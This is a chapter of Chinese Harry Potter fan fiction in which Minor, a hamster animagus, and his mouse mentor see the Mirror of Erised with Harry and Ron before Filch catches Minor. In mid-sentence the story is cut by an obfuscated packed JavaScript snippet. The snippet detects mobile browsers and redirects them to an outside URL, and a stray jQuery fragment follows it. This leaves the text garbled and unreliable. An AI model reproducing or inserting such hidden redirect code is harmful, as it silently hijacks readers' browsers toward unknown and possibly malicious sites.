罗恩和哈利这几天放假显然在摸鱼。米诺尔被雪勾起感触,干脆抱着一摞书去图书馆,继续赫敏的嘱托。
即使是圣诞节,平斯女士仍然兢兢业业地做着图书馆的工作。
她还是一如既往地不好商量,把米诺尔归还的一摞书一本一本地拿起来,挨个翻看,检查书角。
估计是担心他一口气借这么多书不爱惜吧。
图书馆里寂寥无人,米诺尔对着赫敏的书单,依次抽出新的一摞书。费里斯比先生不时指使他停下来,加入一两本书单外费里斯比先生用于自修和拓展的书。
“这样的日子,什么时候是个头呀。”米诺尔大晚上点着蜡烛在赫奇帕奇公共休息室看书,唉声叹气。
费里斯比先生被逗笑了:“小米诺,你的日子还长着呢。”
***
“今天不下棋吗?”米诺尔打着哈欠溜进格兰芬多休息室,就见罗恩和哈利正在讨论什么。出乎他的意料,两个人似乎什么都没准备干。
罗恩看了哈利一眼。
“我昨天夜游,发现一面镜子,”尽管没有其他人,哈利还是神秘地压低声音,“那面镜子能照出来我的爸爸妈妈,还有我其他的亲人。”
“是的,我们今晚打算去看那面镜子。”罗恩说,“我想见见哈利的家人。”
“我也想!”米诺尔激动起来,“我姐姐就也很想见见你们。”
不过,他才说完就想起了什么,面露惊恐:“所以你们要在宵禁后去吗?被费尔奇抓到怎么办?”
“不会的,我圣诞节时候拿到了我爸爸的隐身衣。费尔奇看不到我。”
米诺尔皱眉:“但是洛丽丝夫人肯定闻得到你,这对它来说可是拿手好戏。”
“不会出什么问题的。”哈利固执地说。
罗恩悄悄跟他和费里斯比先生说:“唉,我觉得他有点怪怪的,我们晚上得看着他一点。”
费里斯比先生一直在专注地听他们说话,若有所思。
“魔法还能做到这种地步吗?”他啧啧称奇,“我一直觉得镜子就是镜子,平面镜原理,米诺,我教过你的。”
“不知道,我经常觉得我对魔法一窍不通。”米诺尔打着哈欠说。
***
考虑到赫奇帕奇地窖和格兰芬多高塔隔着差不多一座城堡的高度,米诺尔最终决定留在格兰芬多休息室跟哈利进行这次冒险。
好吧,坦白说他担心极了,毕竟他唯一一次夜游的结果实在不太美妙。但他和哈利、罗恩是好朋友,他也想跟着他们一起冒险。
所以哪怕他确实挺怕的,但还是跟着朋友一道走了。
三人一鼠鼓鼓囊囊地挤在隐身衣里,罗恩和哈利并排走,米诺尔紧随在他们后面。他在费里斯比先生的提醒下,不时回头看,防备着隐身衣边角在行走时被不小心提起来,然后暴露他们三个。
他们一行人在哈利的带领下在城堡里像无头苍蝇一样乱窜。冬天的寒风冷飕飕的,连呆在米诺尔口袋里的费里斯比先生都打了几个喷嚏。
罗恩苦恼地说:“我冻坏了,要不我们不找了,回去吧。”
哈利哑声反对:“不行……我知道它一定就在这附近的某个地方。”
米诺尔跺跺脚,感觉自己还能再撑会,把毛茸茸的费里斯比先生递给罗恩。
罗恩打个颤,把费里斯比先生团在手里:“好吧,虽然这份温暖还没有蒲绒绒大,但还是谢谢你们。”
他们走来走去,绕来绕去,米诺尔感觉简直已经把这一层楼逛遍了好几圈,却还是没有找到那面镜子。
米诺尔抽抽鼻子:“哎呀真的好冷……我变成老鼠你们带着我走吧。”
“你别变老鼠了,把我变成火炉吧,”罗恩说,“那样还能给你们两个暖和暖和。我感觉我的脚都冻僵了。”
“找到了!”哈利突然惊喜地说一声,飞快地推开他们面前的一扇门。他把隐身衣从肩头脱掉,几乎是疾奔到镜子前。
米诺尔和罗恩看着他的表情变得喜悦,神采飞扬。
“你们看见了吗?”
“我什么也看不见。”罗恩嘟哝着说。
哈利非常急迫:“怎么会看不到呢?看呀……他们都在……有一大堆人呢。”
“我只能看见你。”
哈利急得要死,赶忙把罗恩拉到镜前。
米诺尔还在犹疑地看着他们。费里斯比先生给他科普过平面镜原理,从他的角度看,这个镜子除了有点古典美外并没有什么稀奇的。
罗恩的表情从疑惑变为目瞪口呆:“看看我!”
“什么?”米诺尔莫名其妙,“罗恩?”
“你能看见你的家人都围在你身边吗?”哈利试探地问。
“没有——只有我一个人——但是跟现在不一样——我好像大了一些——我还是男生学生会主席呢!”
“什么?”哈利的语气比之前米诺尔那句还要诧异。
“我,我戴着比尔以前戴的那种徽章——手里还举着学院杯和魁地奇杯——我还是魁地奇球队的队长呢!”
“罗恩是对的,”米诺尔顿觉惊恐,他只能从镜子里看到两人的倒影,“你们都怪怪的!这面镜子把你们搞疯了!”
“我好得很。”罗恩不高兴地回头驳斥米诺尔。
但很快他又兴奋起来,转向哈利:“你说,这面镜子是不是预示着未来?”
“怎么可能呢?我家里的人都死了——让我再看看——”
“你已经独自看了一晚上,就让给我一点时间吧。”
“你只是捧着魁地奇杯,这有什么好玩的?我想看看我的父母。”
他们两个你一言我一语地吵起来,米诺尔在一旁瑟瑟发抖。
“疯了,你们都疯了。”他面露惶然,“这面镜子到底是怎么回事?”
“米诺,”费里斯比先生突然说,“你能凑过去,把我举高点吗?”
米诺尔打个寒颤。但他不会拒绝费里斯比先生的提议,正当他准备往那边走的时候,突然,他感觉到不对劲。
“安静——!”米诺尔对那边的两个朋友低声喝道。
好在他们显然也听到了门外的动静,罗恩立马拿起隐身衣就披到他们三个身上。
几乎是下一秒,洛丽丝夫人就从门口迈着优雅的猫步走进来了。
它狐疑地轻嗅空气,在屋子里绕来绕去,抖擞尾巴。
米诺尔捧着费里斯比先生,一点大气不敢出,差点要把自己憋昏过去。
洛丽丝夫人左顾右盼一会,出门走了。
“还是不安全——它可能去找费尔奇了,我敢肯定它听见我们的声音了。走吧。”
罗恩似乎终于恢复了正常。他催促地看着魂不守舍的哈利和莫名其妙的米诺尔。哈利勉为其难地点点头。
“你们先走吧。”米诺尔深吸一口气,“我得再留一会。”
“你留这里等着费尔奇来抓你吗?”罗恩问。
哈利本就不情愿走,他挣扎说:“我也要留下来——”
“拜托,你们快点走吧。本来我们就不顺路,我一会要回地窖的。”米诺尔忧郁地说,“乔纳森要看看那面镜子,要不然我根本不敢留下来。你们两个不知道你们刚刚照镜子的反应有多吓人。”
从他的角度看,那面镜子里就只有哈利和罗恩。
两个哈利和两个罗恩像喝了兴奋剂吃了毒蘑菇一样在那里揽镜自顾。
哈利郁郁寡欢地跟着罗恩走了。
“乔纳森,你快点,”米诺尔匆匆跑到那面镜子前,把费里斯比先生举高,“你也听到哈利和罗恩说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256523|182074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
费尔奇先生马上就要过来了……”
他瞳孔骤缩。
当只有他一个人站在这里时,这面镜子突然就变得不普通起来。米诺尔突然隐约明白了哈利和罗恩为什么在争执,都想看这面镜子,而他一个人在那里看着镜子里外的四个人吵来吵去。
这面镜子只能在一个人面前展现出它的魔力。
米诺尔看到一张圆餐桌。在餐桌之上,是一幅荒诞而美好的场景。
他变成了一只仓鼠,而艾贝尔坐在餐桌上离他最近的位置,海格坐在她对面。两人一侧的三个位置都空着,正好露出另一侧他们中间的哈利、罗恩和赫敏。
米诺尔又回到了小小一只的状态,和另一只黑团子凑在一起,难得没有把食物藏到颊囊里,而是慢条斯理地吃着。他旁边端坐着正在小口喝茶的费里斯比先生。桌上每个人每只小鼠都融进一种快活的氛围里,大家兴高采烈地分享着餐点。
他贪婪地看着桌上所有熟悉的朋友和家人们幸福的容颜,离这面神奇的镜子越来越近,几乎要走进镜子里,走到那张圆桌空出来的三个位置之一上……
“erised stra ehru oytube cafru oyton woshi。”费里斯比先生突然说。
米诺尔被他的声音惊醒。他立马想起哈利和罗恩的异状,脸色惨白,撑着手上的动作连退两三步:“乔纳森先生,你在说什么?”
现在似乎是费里斯比先生在照镜子了,他目不转睛地看着那面可怕的镜子,露出微微的笑容:“嗯……我大概有点想法了。米诺尔,你刚刚看到了什么?”
“艾贝尔,哈利,罗恩,赫敏,海格,我和你,还有小黑,我们一起在一张圆桌上特别开心地吃饭。”
“没有别的了?就只是吃饭?”
米诺尔费力地想了想:“还有三张座位空着……应该没有别的了。”
费里斯比先生似乎是忍不住笑了下,语气轻快:“别害怕,米诺,我想这面镜子不会把你搞疯掉的。或许哈利和罗恩的反应只是人之常情。”
“人之常情?”米诺尔震惊地提高音量,“什么意思?”
“你仔细看看这面镜子,看它的外观。”费里斯比先生说,“看到镜子最上面刻着的字了吗?试试倒着念一遍。”
在黑暗中视物难不倒曾作为仓鼠的米诺尔。他就着月光,试着将费里斯比先生刚念的那一行字重新断句,倒着念回来:“我试试……I show not……your……face……but your……heart''s……desired。”
“我展现的不是你的面容,而是你心中所望。”费里斯比先生说,“米诺,我们每个人看到的,都是自己想要实现的愿景。”
米诺尔愣住了。
圣诞节白日还未知的答案此时以一种略显荒诞的境况展现在他的眼前。镜子内的景象,就是他真正渴望的东西吗?
“我不太理解,乔纳森先生——”
“你在做什么!”
一个凶恶的声音骤然响起:“我就知道你这个小鬼是绝对不会安分的!你大晚上还不睡觉,跑到这里来干什么!”
“费,费尔奇先生,”米诺尔僵硬地转过头,“您晚上好啊。”
“我不好!”费尔奇凶神恶煞地吼道,“而你,从地窖不知道为什么晃悠到这里的小鬼,大晚上不睡觉就给我受罚吧!我要关你禁闭!”
米诺尔的眼睛失去高光。
虽然他总是晚上清醒,但这种天赋也不是用来被关禁闭的啊!
然而,他已经被当场抓获,还有什么办法呢!圣诞节假中没有老师决定他的惩罚项目,费尔奇自主决定让他去奖品陈列室擦奖牌。他在洛丽丝夫人的监督下苦哈哈擦奖牌直到半夜才回去赫奇帕奇休息室。